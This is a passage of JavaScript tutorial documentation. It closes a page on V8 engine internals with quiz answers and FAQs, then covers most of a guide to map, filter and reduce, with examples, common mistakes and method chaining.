quickly. V8 exploits this by dividing the heap into: - **Young generation:** Where new objects are allocated. Collected frequently with a fast "scavenger" algorithm. - **Old generation:** Objects that survive multiple young generation collections. Collected less frequently with a slower but thorough algorithm. This is efficient because checking young objects frequently catches most garbage quickly, while long-lived objects aren't constantly re-checked. </Accordion> <Accordion title="Question 6: Which code pattern is more engine-friendly?"> ```javascript // Pattern A function createPoint(x, y) { return { x: x, y: y } } // Pattern B function createPoint(x, y) { const point = {} point.x = x point.y = y return point } ``` **Answer:** **Pattern A is more engine-friendly.** In Pattern A, the object literal `{ x: x, y: y }` creates an object with a known shape immediately. V8 can skip the empty object transition. In Pattern B, the object goes through three hidden class transitions: 1. `{}` - empty shape 2. `{ x }` - after adding x 3. `{ x, y }` - after adding y Pattern A is faster to create and produces the same final shape more directly. Modern engines optimize object literals with known properties, skipping intermediate shapes. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a JavaScript engine?"> A JavaScript engine is the program that reads, compiles, and executes your JavaScript code. Each browser has its own: Chrome uses V8, Firefox uses SpiderMonkey, and Safari uses JavaScriptCore. All engines implement the [ECMAScript specification](https://tc39.es/ecma262/), which is why JavaScript behaves consistently across environments. </Accordion> <Accordion title="How does V8's JIT compilation work?"> V8 uses a two-tier approach. First, the Ignition interpreter generates bytecode and runs your code immediately. As code runs, V8 profiles which functions are called frequently ("hot" code). TurboFan, the optimizing compiler, then compiles those hot functions into highly optimized machine code. If type assumptions are violated, V8 "deoptimizes" back to bytecode. </Accordion> <Accordion title="What are hidden classes in V8?"> Hidden classes (also called "shapes" or "maps") are internal structures V8 creates to track the layout of your objects. When all objects of the same "shape" share a hidden class, V8 can use fast property access offsets instead of slow dictionary lookups. Changing object shapes after creation — like adding properties conditionally — forces V8 to create new hidden classes and slows performance. </Accordion> <Accordion title="How does garbage collection work in JavaScript?"> V8 uses a generational garbage collector. Short-lived objects go into the "young generation" (Scavenger), which is collected frequently and quickly. Objects that survive multiple collections are promoted to the "old generation" (Mark-Sweep/Mark-Compact), collected less often. The [V8 blog](https://v8.dev/blog/trash-talk) provides detailed information about V8's garbage collection strategies. </Accordion> <Accordion title="How can I write engine-friendly JavaScript?"> Keep object shapes consistent — initialize all properties in the constructor and avoid adding or deleting properties later. Use monomorphic functions that receive the same types. Avoid large, deeply nested closures that keep memory alive. Pre-allocate arrays to known sizes when possible, and prefer `const`/`let` over `var` for clearer scope analysis by the engine. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> How V8 tracks function execution and manages execution contexts </Card> <Card title="Event Loop" icon="rotate" href="/concepts/event-loop"> How async code runs alongside the single-threaded JavaScript engine </Card> <Card title="Primitive Types" icon="cube" href="/concepts/primitive-types"> How V8 represents and optimizes different value types </Card> <Card title="Primitives vs Objects" icon="code-branch" href="/concepts/primitives-objects"> How the engine stores primitives vs objects in memory </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="JavaScript technologies overview — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/JavaScript_technologies_overview"> Overview of JavaScript engines, ECMAScript, and how the language relates to browser APIs. </Card> <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management"> How JavaScript manages memory allocation and garbage collection. </Card> <Card title="V8 Documentation" icon="book" href="https://v8.dev/docs"> Official V8 documentation covering Ignition, TurboFan, and engine internals. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript engine fundamentals: Shapes and Inline Caches" icon="newspaper" href="https://mathiasbynens.be/notes/shapes-ics"> Mathias Bynens and Benedikt Meurer explain how all JavaScript engines optimize property access. Includes excellent diagrams showing hidden classes and IC states. </Card> <Card title="JavaScript engine fundamentals: optimizing prototypes" icon="newspaper" href="https://mathiasbynens.be/notes/prototypes"> The follow-up article covering how engines optimize prototype chain lookups. Essential reading for understanding object-oriented JavaScript performance. </Card> <Card title="Launching Ignition and TurboFan" icon="newspaper" href="https://v8.dev/blog/launching-ignition-and-turbofan"> V8 team's announcement of the Ignition + TurboFan pipeline. Explains why the new architecture is faster and uses less memory. </Card> <Card title="Trash talk: the Orinoco garbage collector" icon="newspaper" href="https://v8.dev/blog/trash-talk"> Deep dive into V8's modern garbage collector. Covers parallel, incremental, and concurrent techniques that minimize pause times. </Card> <Card title="How V8 optimizes array operations" icon="newspaper" href="https://v8.dev/blog/elements-kinds"> V8 blog post explaining different "elements kinds" for arrays and how to write array code that V8 can optimize effectively. </Card> <Card title="Blazingly fast parsing, part 1: optimizing the scanner" icon="newspaper" href="https://v8.dev/blog/scanner"> How V8 optimizes the first stage of code processing. Shows the engineering that makes JavaScript parsing fast. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Engines: The Good Parts" icon="video" href="https://www.youtube.com/watch?v=5nmpokoRaZI"> Mathias Bynens and Benedikt Meurer at JSConf EU 2018. The definitive talk on JavaScript engine internals with beautiful visualizations of shapes, ICs, and optimization. </Card> <Card title="JS Engine EXPOSED — Google's V8 Architecture" icon="video" href="https://www.youtube.com/watch?v=2WJL19wDH68"> Akshay Saini's Namaste JavaScript episode on V8. Beginner-friendly explanation of parsing, compilation, and the execution pipeline. </Card> <Card title="Understanding the V8 JavaScript Engine" icon="video" href="https://www.youtube.com/watch?v=xckH5s3UuX4"> freeCodeCamp talk covering V8's architecture from a Node.js perspective. Great for understanding how the engine powers server-side JavaScript. </Card> <Card title="A Sneak Peek Into Super Fast V8 Internals" icon="video" href="https://www.youtube.com/watch?v=wz7Znu6tqFw"> Chrome DevSummit talk showing how V8 optimizes real-world patterns. Includes profiling examples and optimization tips. </Card> </CardGroup> ================================================ FILE: docs/concepts/map-reduce-filter.mdx ================================================ --- title: "map, reduce, filter" sidebarTitle: "map, reduce, filter" description: "Learn map, reduce, and filter in JavaScript. Transform, filter, and combine arrays without mutation. Includes method chaining and common pitfalls." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functional Programming" "article:tag": "map reduce filter, array methods, functional programming, array transformation, method chaining" --- How do you transform every item in an array? How do you filter out the ones you don't need? How do you combine them all into a single result? These are the three most common operations you'll perform on arrays, and JavaScript gives you three powerful methods to handle them. ```javascript // The power of map, filter, and reduce in action const products = [ { name: 'Laptop', price: 1000, inStock: true }, { name: 'Phone', price: 500, inStock: false }, { name: 'Tablet', price: 300, inStock: true }, { name: 'Watch', price: 200, inStock: true } ] const totalInStock = products .filter(product => product.inStock) // Keep only in-stock items .map(product => product.price) // Extract just the prices .reduce((sum, price) => sum + price, 0) // Sum them up console.log(totalInStock) // 1500 ``` That's **[map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)**, **[filter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)**, and **[reduce](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)** working together. Three methods that transform how you work with arrays. <Info> **What you'll learn in this guide:** - What map(), filter(), and reduce() do and when to use each - The factory assembly line mental model for array transformations - How to chain methods together for powerful data pipelines - The critical mistake with reduce() that crashes your code - Real-world patterns for extracting, filtering, and aggregating data - Other useful array methods like find(), some(), and every() - How to implement map and filter using reduce (advanced) - How to handle async callbacks with these methods </Info> <Warning> **Prerequisite:** This guide assumes you understand [higher-order functions](/concepts/higher-order-functions). map, filter, and reduce are all higher-order functions that take callbacks. If that concept is new to you, read that guide first! </Warning> --- ## The Factory Assembly Line Think of these three methods as stations on a factory assembly line. Raw materials (your input array) flow through different stations, each performing a specific job: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE FACTORY ASSEMBLY LINE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Raw Materials PAINTING QUALITY PACKAGING │ │ (Input Array) STATION CONTROL STATION │ │ map() filter() reduce() │ │ │ │ ┌───┬───┬───┬───┐ ┌───┬───┬───┬───┐ ┌───┬───┐ ┌─────────┐ │ │ │ 1 │ 2 │ 3 │ 4 │ → │ 2 │ 4 │ 6 │ 8 │ → │ 6 │ 8 │ → │ 14 │ │ │ └───┴───┴───┴───┘ └───┴───┴───┴───┘ └───┴───┘ └─────────┘ │ │ │ │ Transform Keep items Combine into │ │ each item where n > 4 single value │ │ (n × 2) (sum) │ │ │ │ ──────────────────────────────────────────────────────────────────── │ │ │ │ INPUT COUNT SAME COUNT FEWER OR SINGLE │ │ = 4 items = 4 items SAME = 2 OUTPUT │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Painting Station (map):** Every item gets transformed. You put in 4 items, you get 4 items out. Each one is changed in the same way. **Quality Control (filter):** Items are inspected and only those that pass the test continue. You might get fewer items out than you put in. **Packaging Station (reduce):** Everything gets combined into a single package. Many items go in, one result comes out. The beauty of this assembly line? You can connect the stations in any order. The output of one becomes the input of the next. --- ## What Are These Methods? These three methods are the workhorses of functional programming in JavaScript. They let you transform, filter, and aggregate data without writing explicit loops and without mutating your original data. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), `map`, `filter`, and `reduce` are among the most commonly used array methods, with the vast majority of JavaScript developers using them regularly in production code. | Method | What It Does | Returns | Original Array | |--------|-------------|---------|----------------| | `map()` | Transforms every element | New array (same length) | Unchanged | | `filter()` | Keeps elements that pass a test | New array (0 to same length) | Unchanged | | `reduce()` | Combines all elements into one value | Any type (number, object, array, etc.) | Unchanged | <Tip> **The Immutability Principle:** None of these methods change the original array. They always return something new. This makes your code predictable and easier to debug. </Tip> --- ## map() — Transform Every Element The **[map()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)** method creates a new array by calling a function on every element of the original array. Think of it as a transformation machine: every item goes in, every item comes out changed. ### What is map() in JavaScript? The `map()` method is an array method that creates a new array by applying a callback function to each element of the original array. It returns an array of the same length with each element transformed according to the callback. The original array is never modified, making map a pure, non-mutating operation ideal for functional programming. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map), `map` was introduced in ECMAScript 5.1 (2011) and calls the provided function once for each element in order. ```javascript const numbers = [1, 2, 3, 4] const doubled = numbers.map(num => num * 2) console.log(doubled) // [2, 4, 6, 8] console.log(numbers) // [1, 2, 3, 4] — original unchanged! ``` ### Syntax and Parameters ```javascript array.map(callback(element, index, array), thisArg) ``` | Parameter | Description | |-----------|-------------| | `element` | The current element being processed | | `index` | The index of the current element (optional) | | `array` | The array map() was called on (optional) | | `thisArg` | Value to use as `this` in callback (optional, rarely used) | ### Basic Transformations ```javascript // Double every number const numbers = [1, 2, 3, 4, 5] const doubled = numbers.map(n => n * 2) console.log(doubled) // [2, 4, 6, 8, 10] // Convert to uppercase const words = ['hello', 'world'] const shouting = words.map(word => word.toUpperCase()) console.log(shouting) // ['HELLO', 'WORLD'] // Square each number const squares = numbers.map(n => n * n) console.log(squares) // [1, 4, 9, 16, 25] ``` ### Extracting Properties from Objects One of the most common uses of map is pulling out specific properties from an array of objects: ```javascript const users = [ { id: 1, name: 'Alice', email: 'alice@example.com' }, { id: 2, name: 'Bob', email: 'bob@example.com' }, { id: 3, name: 'Charlie', email: 'charlie@example.com' } ] // Get just the names const names = users.map(user => user.name) console.log(names) // ['Alice', 'Bob', 'Charlie'] // Get just the emails const emails = users.map(user => user.email) console.log(emails) // ['alice@example.com', 'bob@example.com', 'charlie@example.com'] // Get IDs as strings const ids = users.map(user => `user-${user.id}`) console.log(ids) // ['user-1', 'user-2', 'user-3'] ``` ### Transforming Object Shapes You can also reshape objects completely: ```javascript const users = [ { firstName: 'Alice', lastName: 'Smith', age: 25 }, { firstName: 'Bob', lastName: 'Jones', age: 30 } ] const displayUsers = users.map(user => ({ fullName: `${user.firstName} ${user.lastName}`, isAdult: user.age >= 18 })) console.log(displayUsers) // [ // { fullName: 'Alice Smith', isAdult: true }, // { fullName: 'Bob Jones', isAdult: true } // ] ``` ### Using the Index Parameter Sometimes you need to know the position of each element: ```javascript const letters = ['a', 'b', 'c', 'd'] // Add index to each item const indexed = letters.map((letter, index) => `${index}: ${letter}`) console.log(indexed) // ['0: a', '1: b', '2: c', '3: d'] // Create objects with IDs const items = ['apple', 'banana', 'cherry'] const products = items.map((name, index) => ({ id: index + 1, name })) console.log(products) // [{ id: 1, name: 'apple' }, { id: 2, name: 'banana' }, { id: 3, name: 'cherry' }] ``` ### The parseInt Pitfall This is a classic JavaScript gotcha. Can you spot the problem? ```javascript const strings = ['1', '2', '3'] const numbers = strings.map(parseInt) console.log(numbers) // [1, NaN, NaN] — Wait, what?! ``` **Why does this happen?** Because `parseInt` takes two arguments: the string to parse and the radix (base). When you pass `parseInt` directly to map, it receives three arguments: `(element, index, array)`. So the index becomes the radix! ```javascript // What's actually happening: parseInt('1', 0) // 1 (radix 0 defaults to 10) parseInt('2', 1) // NaN (radix 1 is invalid) parseInt('3', 2) // NaN (3 is not a valid digit in binary) ``` **The fix:** Wrap parseInt in an arrow function or use `Number`: ```javascript // Option 1: Wrap in arrow function const numbers1 = strings.map(str => parseInt(str, 10)) console.log(numbers1) // [1, 2, 3] // Option 2: Use Number (simpler) const numbers2 = strings.map(Number) console.log(numbers2) // [1, 2, 3] ``` ### map() vs forEach() Both iterate over arrays, but they're for different purposes: | Aspect | map() | forEach() | |--------|-------|-----------| | **Returns** | New array | undefined | | **Purpose** | Transform data | Side effects (logging, etc.) | | **Chainable** | Yes | No | | **Use when** | You need the results | You just want to do something | ```javascript const numbers = [1, 2, 3] // map: When you need a new array const doubled = numbers.map(n => n * 2) console.log(doubled) // [2, 4, 6] // forEach: When you just want to do something with each item numbers.forEach(n => console.log(n)) // Logs 1, 2, 3 // ❌ WRONG: Using map for side effects (wasteful) numbers.map(n => console.log(n)) // Creates unused array [undefined, undefined, undefined] // ✓ CORRECT: Use forEach for side effects numbers.forEach(n => console.log(n)) ``` <Warning> **Don't use map() when you don't need the returned array.** If you're just logging or making API calls, use `forEach()`. Using map for side effects creates an unused array and signals the wrong intent to other developers. </Warning> --- ## filter() — Keep Matching Elements The **[filter()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)** method creates a new array with only the elements that pass a test. Your callback function returns `true` to keep an element or `false` to exclude it. ### What is filter() in JavaScript? The `filter()` method is an array method that creates a new array containing only the elements that pass a test implemented by a callback function. Elements where the callback returns `true` (or a truthy value) are included; elements where it returns `false` are excluded. Like map, filter never modifies the original array. ```javascript const numbers = [1, 2, 3, 4, 5, 6] const evens = numbers.filter(num => num % 2 === 0) console.log(evens) // [2, 4, 6] console.log(numbers) // [1, 2, 3, 4, 5, 6] — original unchanged! ``` ### Syntax and Parameters ```javascript array.filter(callback(element, index, array), thisArg) ``` The callback receives the same parameters as `map()`: `element`, `index`, `array`, plus an optional `thisArg`. ### Basic Filtering ```javascript const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] // Keep only even numbers const evens = numbers.filter(n => n % 2 === 0) console.log(evens) // [2, 4, 6, 8, 10] // Keep only odds const odds = numbers.filter(n => n % 2 !== 0) console.log(odds) // [1, 3, 5, 7, 9] // Keep numbers greater than 5 const big = numbers.filter(n => n > 5) console.log(big) // [6, 7, 8, 9, 10] // Keep numbers between 3 and 7 const middle = numbers.filter(n => n >= 3 && n <= 7) console.log(middle) // [3, 4, 5, 6, 7] ``` ### Filtering Objects by Property ```javascript const users = [ { name: 'Alice', age: 25, active: true }, { name: 'Bob', age: 17, active: true }, { name: 'Charlie', age: 30, active: false }, { name: 'Diana', age: 22, active: true } ] // Keep only active users const activeUsers = users.filter(user => user.active) console.log(activeUsers) // [{ name: 'Alice', ... }, { name: 'Bob', ... }, { name: 'Diana', ... }] // Keep only adults (18+) const adults = users.filter(user => user.age >= 18) console.log(adults) // [{ name: 'Alice', ... }, { name: 'Charlie', ... }, { name: 'Diana', ... }] // Keep only active adults const activeAdults = users.filter(user => user.active && user.age >= 18) console.log(activeAdults) // [{ name: 'Alice', ... }, { name: 'Diana', ... }] ``` ### Truthy/Falsy Evaluation The filter callback's return value is evaluated for [truthiness](https://developer.mozilla.org/en-US/docs/Glossary/Truthy). This means you can use filter to remove falsy values: ```javascript const mixed = [0, 1, '', 'hello', null, undefined, false, true, NaN, 42] // Remove all falsy values const truthy = mixed.filter(Boolean) console.log(truthy) // [1, 'hello', true, 42] // This works because Boolean(value) returns true for truthy values // Boolean(0) → false // Boolean(1) → true // Boolean('') → false // Boolean('hello') → true // etc. ``` <Note> **Falsy values in JavaScript:** `false`, `0`, `-0`, `0n` (BigInt), `""` (empty string), `null`, `undefined`, `NaN`. Everything else is truthy. </Note> ### Search and Query Filtering ```javascript const products = [ { name: 'MacBook Pro', category: 'laptops', price: 2000 }, { name: 'iPhone', category: 'phones', price: 1000 }, { name: 'iPad', category: 'tablets', price: 800 }, { name: 'Dell XPS', category: 'laptops', price: 1500 } ] // Search by name (case-insensitive) const searchTerm = 'mac' const results = products.filter(p => p.name.toLowerCase().includes(searchTerm.toLowerCase()) ) console.log(results) // [{ name: 'MacBook Pro', ... }] // Filter by category const laptops = products.filter(p => p.category === 'laptops') console.log(laptops) // [{ name: 'MacBook Pro', ... }, { name: 'Dell XPS', ... }] // Filter by price range const affordable = products.filter(p => p.price <= 1000) console.log(affordable) // [{ name: 'iPhone', ... }, { name: 'iPad', ... }] ``` ### filter() vs find() vs some() vs every() These methods are related but return different things: | Method | Returns | Stops Early? | Use Case | |--------|---------|--------------|----------| | `filter()` | Array of all matches | No | Get all matching items | | `find()` | First match (or undefined) | Yes | Get one item by condition | | `some()` | true/false | Yes | Check if any match | | `every()` | true/false | Yes | Check if all match | ```javascript const numbers = [1, 2, 3, 4, 5] // filter: Get ALL even numbers numbers.filter(n => n % 2 === 0) // [2, 4] // find: Get the FIRST even number numbers.find(n => n % 2 === 0) // 2 // some: Is there ANY even number? numbers.some(n => n % 2 === 0) // true // every: Are ALL numbers even? numbers.every(n => n % 2 === 0) // false ``` ```javascript const users = [ { id: 1, name: 'Alice', admin: true }, { id: 2, name: 'Bob', admin: false }, { id: 3, name: 'Charlie', admin: false } ] // ❌ INEFFICIENT: Using filter when you only need one const result = users.filter(u => u.id === 2)[0] // Checks all elements // ✓ EFFICIENT: Use find for single item lookup const user = users.find(u => u.id === 2) // Stops at first match // ❌ WASTEFUL: Using filter just to check existence const hasAdmin = users.filter(u => u.admin).length > 0 // ✓ BETTER: Use some for existence check const hasAdmin2 = users.some(u => u.admin) // true, stops at first admin ``` --- ## reduce() — Combine Into One Value The **[reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)** method executes a "reducer" function on each element, resulting in a single output value. It's the most powerful (and most confusing) of the three. ### What is reduce() in JavaScript? The `reduce()` method is an array method that executes a reducer callback function on each element, accumulating the results into a single value. This value can be any type: a number, string, object, or even another array. The callback receives an accumulator (the running total) and the current element, returning the new accumulator value. Always provide an initial value to avoid crashes on empty arrays. The [ECMAScript specification](https://tc39.es/ecma262/#sec-array.prototype.reduce) notes that calling `reduce()` on an empty array without an initial value throws a `TypeError`. ```javascript const numbers = [1, 2, 3, 4, 5] const sum = numbers.reduce((accumulator, current) => accumulator + current, 0) console.log(sum) // 15 ``` Think of reduce like a snowball rolling down a hill. It starts small (the initial value) and grows as it picks up each element. ### The Anatomy of reduce() ```javascript array.reduce(callback(accumulator, currentValue, index, array), initialValue) ``` | Parameter | Description | |-----------|-------------| | `accumulator` | The accumulated value from previous iterations | | `currentValue` | The current element being processed | | `index` | The index of the current element (optional) | | `array` | The array reduce() was called on (optional) | | `initialValue` | The starting value for the accumulator (ALWAYS provide this!) | ### Step-by-Step Visualization Let's trace through how reduce works: ```javascript const numbers = [1, 2, 3, 4] const sum = numbers.reduce((acc, curr) => acc + curr, 0) ``` | Iteration | accumulator | currentValue | acc + curr | New accumulator | |-----------|-------------|--------------|------------|-----------------| | 1st | 0 (initial) | 1 | 0 + 1 | 1 | | 2nd | 1 | 2 | 1 + 2 | 3 | | 3rd | 3 | 3 | 3 + 3 | 6 | | 4th | 6 | 4 | 6 + 4 | **10** | ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ reduce() STEP BY STEP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Initial value: 0 │ │ │ │ [1, 2, 3, 4].reduce((acc, curr) => acc + curr, 0) │ │ │ │ Step 1: acc=0, curr=1 → 0 + 1 = 1 (accumulator becomes 1) │ │ Step 2: acc=1, curr=2 → 1 + 2 = 3 (accumulator becomes 3) │ │ Step 3: acc=3, curr=3 → 3 + 3 = 6 (accumulator becomes 6) │ │ Step 4: acc=6, curr=4 → 6 + 4 = 10 (final result!) │ │ │ │ Result: 10 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Common Use Cases #### Sum and Average ```javascript const numbers = [10, 20, 30, 40, 50] // Sum const sum = numbers.reduce((acc, n) => acc + n, 0) console.log(sum) // 150 // Average const average = numbers.reduce((acc, n) => acc + n, 0) / numbers.length console.log(average) // 30 ``` #### Finding Max/Min ```javascript const numbers = [5, 2, 9, 1, 7] const max = numbers.reduce((acc, n) => n > acc ? n : acc, numbers[0]) console.log(max) // 9 const min = numbers.reduce((acc, n) => n < acc ? n : acc, numbers[0]) console.log(min) // 1 // Or use Math.max/min with spread (simpler for this case) console.log(Math.max(...numbers)) // 9 console.log(Math.min(...numbers)) // 1 ``` #### Counting Occurrences ```javascript const fruits = ['apple', 'banana', 'apple', 'orange', 'banana', 'apple'] const count = fruits.reduce((acc, fruit) => { acc[fruit] = (acc[fruit] || 0) + 1 return acc }, {}) console.log(count) // { apple: 3, banana: 2, orange: 1 } ``` #### Grouping by Property ```javascript const people = [ { name: 'Alice', department: 'Engineering' }, { name: 'Bob', department: 'Marketing' }, { name: 'Charlie', department: 'Engineering' }, { name: 'Diana', department: 'Marketing' } ] const byDepartment = people.reduce((acc, person) => { const dept = person.department if (!acc[dept]) { acc[dept] = [] } acc[dept].push(person) return acc }, {}) console.log(byDepartment) // { // Engineering: [{ name: 'Alice', ... }, { name: 'Charlie', ... }], // Marketing: [{ name: 'Bob', ... }, { name: 'Diana', ... }] // } ``` <Note> **Modern Alternative (ES2024):** JavaScript now has `Object.groupBy()` which does this in one line: ```javascript const byDepartment = Object.groupBy(people, person => person.department) ``` This is cleaner for simple grouping, but reduce is still useful when you need custom accumulation logic. Note: `Object.groupBy()` requires Node.js 21+ or modern browsers (Chrome 117+, Firefox 119+, Safari 17.4+). </Note> #### Building Objects from Arrays ```javascript const pairs = [['name', 'Alice'], ['age', 25], ['city', 'NYC']] const obj = pairs.reduce((acc, [key, value]) => { acc[key] = value return acc }, {}) console.log(obj) // { name: 'Alice', age: 25, city: 'NYC' } ``` #### Flattening Nested Arrays ```javascript const nested = [[1, 2], [3, 4], [5, 6]] const flat = nested.reduce((acc, arr) => acc.concat(arr), []) console.log(flat) // [1, 2, 3, 4, 5, 6] // Note: For simple flattening, use .flat() instead console.log(nested.flat()) // [1, 2, 3, 4, 5, 6] ``` ### Implementing map() and filter() with reduce() This shows just how powerful reduce is. You can implement both map and filter using reduce: ```javascript // map() implemented with reduce function myMap(array, callback) { return array.reduce((acc, element, index) => { acc.push(callback(element, index, array)) return acc }, []) } const doubled = myMap([1, 2, 3], n => n * 2) console.log(doubled) // [2, 4, 6] // filter() implemented with reduce function myFilter(array, callback) { return array.reduce((acc, element, index) => { if (callback(element, index, array)) { acc.push(element) } return acc }, []) } const evens = myFilter([1, 2, 3, 4, 5], n => n % 2 === 0) console.log(evens) // [2, 4] ``` <Tip> **When to use reduce:** Use reduce when you need to transform an array into a different type (array to object, array to number, etc.) or when you need complex accumulation logic. For simple transformations, map and filter are usually clearer. </Tip> --- ## Method Chaining — The Real Power The real magic happens when you chain these methods together. Each method returns a new array (or value), which you can immediately call another method on. ```javascript const transactions = [ { type: 'sale', amount: 100 }, { type: 'refund', amount: 30 }, { type: 'sale', amount: 200 }, { type: 'sale', amount: 150 }, { type: 'refund', amount: 50 } ] const totalSales = transactions .filter(t => t.type === 'sale') // Keep only sales .map(t => t.amount) // Extract amounts .reduce((sum, amount) => sum + amount, 0) // Sum them up console.log(totalSales) // 450 ``` ### Reading Chained Methods When you see a chain, read it like a data pipeline. Data flows from top to bottom, transformed at each step: ```javascript const result = data .filter(...) // Step 1: Remove unwanted items .map(...) // Step 2: Transform remaining items .filter(...) // Step 3: Filter again if needed .reduce(...) // Step 4: Combine into final result ``` ### Real-World Examples #### E-commerce: Calculate discounted total ```javascript const cart = [ { name: 'Laptop', price: 1000, quantity: 1, discountPercent: 10 }, { name: 'Mouse', price: 50, quantity: 2, discountPercent: 0 }, { name: 'Keyboard', price: 100, quantity: 1, discountPercent: 20 } ] const total = cart .map(item => { const subtotal = item.price * item.quantity const discount = subtotal * (item.discountPercent / 100) return subtotal - discount }) .reduce((sum, price) => sum + price, 0) console.log(total) // 900 + 100 + 80 = 1080 ``` #### User dashboard: Get active premium users' emails ```javascript const users = [ { email: 'alice@example.com', active: true, plan: 'premium' }, { email: 'bob@example.com', active: false, plan: 'premium' }, { email: 'charlie@example.com', active: true, plan: 'free' }, { email: 'diana@example.com', active: true, plan: 'premium' } ] const premiumEmails = users .filter(u => u.active) .filter(u => u.plan === 'premium') .map(u => u.email) console.log(premiumEmails) // ['alice@example.com', 'diana@example.com'] ``` #### Analytics: Top 3 performers ```javascript const salespeople = [ { name: 'Alice', sales: 50000 }, { name: 'Bob', sales: 75000 }, { name: 'Charlie', sales: 45000 }, { name: 'Diana', sales: 90000 }, { name: 'Eve', sales: 60000 } ] const top3 = salespeople .filter(p => p.sales >= 50000) // Minimum threshold .sort((a, b) => b.sales - a.sales) // Sort descending .slice(0, 3) // Take top 3 .map(p => p.name) // Get just names console.log(top3) // ['Diana', 'Bob', 'Eve'] ``` ### Performance Considerations Each method in a chain iterates over the array. For small arrays, this doesn't matter. For large arrays, consider combining operations: ```javascript const hugeArray = Array.from({ length: 100000 }, (_, i) => i) // ❌ SLOW: Three separate iterations const result1 = hugeArray .filter(n => n % 2 === 0) // Iteration 1 .map(n => n * 2) // Iteration 2 .filter(n => n > 1000) // Iteration 3 // ✓ FASTER: Single iteration with reduce const result2 = hugeArray.reduce((acc, n) => { if (n % 2 === 0) { const doubled = n * 2 if (doubled > 1000) { acc.push(doubled) } } return acc }, []) ``` <Tip> **Performance Rule of Thumb:** For arrays under 10,000 items, prioritize readability. For larger arrays or performance-critical code, consider combining operations into a single reduce. </Tip> --- ## The #1 Mistake: Forgetting reduce()'s Initial Value This is the most common mistake developers make with reduce, and it can crash your application: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE INITIAL VALUE PROBLEM │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ❌ WITHOUT INITIAL VALUE ✓ WITH INITIAL VALUE │ │ ───────────────────────── ──────────────────── │ │ │ │ [1, 2, 3].reduce((a,b) => a+b) [1, 2, 3].reduce((a,b) => a+b, 0) │ │ → Works: 6 → Works: 6 │ │ │ │ [].reduce((a,b) => a+b) [].reduce((a,b) => a+b, 0) │ │ → TypeError! CRASH → Works: 0 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Empty Array Without Initial Value = CRASH ```javascript // ❌ DANGEROUS: No initial value const numbers = [] const sum = numbers.reduce((acc, n) => acc + n) // TypeError: Reduce of empty array with no initial value // ✓ SAFE: Always provide initial value const safeSum = numbers.reduce((acc, n) => acc + n, 0) console.log(safeSum) // 0 ``` ### Type Mismatch Without Initial Value ```javascript const products = [ { name: 'Laptop', price: 1000 }, { name: 'Phone', price: 500 } ] // ❌ WRONG: First accumulator will be the first object, not a number! const total = products.reduce((acc, p) => acc + p.price) console.log(total) // "[object Object]500" — Oops! // ✓ CORRECT: Initial value sets the accumulator type const total2 = products.reduce((acc, p) => acc + p.price, 0) console.log(total2) // 1500 ``` <Warning> **The Rule:** Always provide an initial value to reduce(). It prevents crashes on empty arrays and makes your code's intent clear. </Warning> --- ## Common Mistakes ### map() Mistakes #### Forgetting to Return ```javascript const numbers = [1, 2, 3] // ❌ WRONG: No return statement const doubled = numbers.map(n => { n * 2 // Missing return! }) console.log(doubled) // [undefined, undefined, undefined] // ✓ CORRECT: Explicit return const doubled2 = numbers.map(n => { return n * 2 }) console.log(doubled2) // [2, 4, 6] // ✓ CORRECT: Implicit return (no curly braces) const doubled3 = numbers.map(n => n * 2) console.log(doubled3) // [2, 4, 6] ``` #### Mutating Original Objects ```javascript const users = [ { name: 'Alice', score: 85 }, { name: 'Bob', score: 92 } ] // ❌ WRONG: Mutates the original objects const curved = users.map(user => { user.score += 5 // Mutates original! return user }) console.log(users[0].score) // 90 — Original was changed! // ✓ CORRECT: Create new objects const users2 = [ { name: 'Alice', score: 85 }, { name: 'Bob', score: 92 } ] const curved2 = users2.map(user => ({ ...user, score: user.score + 5 })) console.log(users2[0].score) // 85 — Original unchanged console.log(curved2[0].score) // 90 ``` ### filter() Mistakes #### Using filter When find is Better ```javascript const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' }, { id: 3, name: 'Charlie' } ] // ❌ INEFFICIENT: Checks entire array, returns array, needs [0] const user = users.filter(u => u.id === 2)[0] // ✓ EFFICIENT: Stops at first match, returns the item directly const user2 = users.find(u => u.id === 2) ``` ### reduce() Mistakes #### Not Returning the Accumulator ```javascript const numbers = [1, 2, 3, 4] // ❌ WRONG: Forgetting to return accumulator const sum = numbers.reduce((acc, n) => { acc + n // Missing return! }, 0) console.log(sum) // undefined // ✓ CORRECT: Always return the accumulator const sum2 = numbers.reduce((acc, n) => { return acc + n }, 0) console.log(sum2) // 10 ``` #### Making reduce Too Complex 